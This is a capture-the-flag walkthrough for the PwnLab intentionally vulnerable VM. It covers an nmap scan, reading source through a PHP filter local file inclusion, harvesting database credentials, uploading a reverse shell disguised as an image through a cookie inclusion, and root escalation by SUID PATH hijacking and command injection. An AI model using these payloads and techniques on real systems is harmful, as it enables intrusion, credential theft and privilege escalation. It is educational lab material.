nmap
nmap -A -p- -T5 -oA full_nmap 192.168.13.129 Host is up (0.00029s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: PwnLab Intranet Image Hosting 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 33297/tcp status |_ 100024 1 35432/udp status 3306/tcp open mysql MySQL 5.5.47-0+deb8u1 | mysql-info: | Protocol: 53 | Version: .5.47-0+deb8u1 | Thread ID: 38 | Capabilities flags: 63487 | Some Capabilities: ODBCClient, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, LongColumnFlag, IgnoreSigpipes, ConnectWithDatabase, LongPassword, FoundRows, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, InteractiveClient, SupportsCompression, Speaks41ProtocolNew | Status: Autocommit |_ Salt: L&wF8'WckolP,)*7tcuA 33297/tcp open status 1 (RPC #100024)
Apache web server and MySQL running.
Web app
Time to visit the website…
So the web app appears to be including the “login” file.
As it doesn’t have .php on the end it’s assumed the code behind it will append “.php”. Sometimes this can be bypassed using a poison null byte
For example /?page=../…/../etc/passwd%00 but this doesn’t work in this case.
Reading source code with PHP filters
It’s possible to use a PHP filter convert.base64-encode to retrieve the source of the login page which we can look through to find bugs and creds.
GET /?page=php://filter/convert.base64-encode/resource=login
So now we have the base64 of the source code we can decode it within burp Decoder.
After looking over the code it’s apparent the database settings are stored in config.php, let’s grab that file and then we can connect to the MySQL seen earlier.
GET /?page=php://filter/convert.base64-encode/resource=config
Which when decoded becomes:
<!--?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?-->
MySQL
Excellent now let’s connect to the MySQL database
mysql -uroot -pH4u%QJ_H99 -h 192.168.13.129
So the passwords are just base64 encoded,
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo
+------+------------------+
So after logging into the web app with kent / JWzXuBJJNy, it’s possible to access the upload page.
Let’s see what’s in the upload source code to see if we have any chance of bypassing it to upload a PHP shell.
GET page=php://filter/convert.base64-encode/resource=upload
Decodes to the following:
<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?>
<html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body> </html>
<?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"> "; } else { die('Error 4'); } } } ?>
So, in a nutshell, it checks for a valid PHP session. Then checks if the file ends in .jpg”,”.jpeg”,”.gif”,”.png” and has the correct mime type. It then proceeds to
md5 the path and filename and append the file extension back on, finally moving the file to “/upload”.
I looked at this for awhile trying to work out how to bypass the file upload without success.
Lang Cookie LFI
I went back to reading more of the web apps source code and the index page contained the following:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>
Not implemented…but nor is it uncommented. The code is including the cookie lang without any validation, so it’s vulnerable to LFI, let’s try including /etc/passwd.
Awesome that worked and kent, mike and kane have user accounts, password reuse? Now I just need something containing PHP code and it can be included to get a shell.
Getting a Shell
To get this all that’s needed is to upload an image and then after it paste in a PHP reverse shell.
I like to use the one located at /usr/share/webshells/php/php-reverse-shell.php in kali as it daemonizes.
Prior to the usage you just have to update the IP to connect back on, it’s commented with CHANGE THIS.
So I saved the pwnlab png logo and intercepted it with burp and pasted the PHP-reverse-shell.php after the image as shown below:
Now the image is uploaded with the PHP code after in upload/65106e7b5322045a610e8b83c8b9e876.png
So plug that into the cookie LFI and a shell is returned.
Now let’s see if we can get into kent, mike or kane’s user accounts.
Can’t su without a tty, no problem can use the Python TTY Shell Trick
python -c 'import pty; pty.spawn("/bin/sh")'
Hmm so mike’s password wasn’t the same but kanes is…let’s poke around in his home directory.
Mike SUID
A SUID program to send a message to mike and using cat without a full file path which means it can be exploited by poisoning the path to load our “cat” that will just run sh.
sh is used instead of bash because sh does not drop privileges.
echo "/bin/sh" > cat chmod 777 cat export PATH=.:$PATH
Now when msgmike is run we have a shell with mikes account
To root SUID
Now let’s see what’s in mikes directory, a program that sends a message to root.
Run strings against it and the following jumps out:
Message for root: /bin/echo %s >> /root/messages.txt
So it’s vulnerable to command injection.
/bin/echo givemeroot;/bin/sh >> /root/messages.txt
The ; lets /bin/sh be run right after so we have ROOT 😀
Thanks for the VM Chronicoder!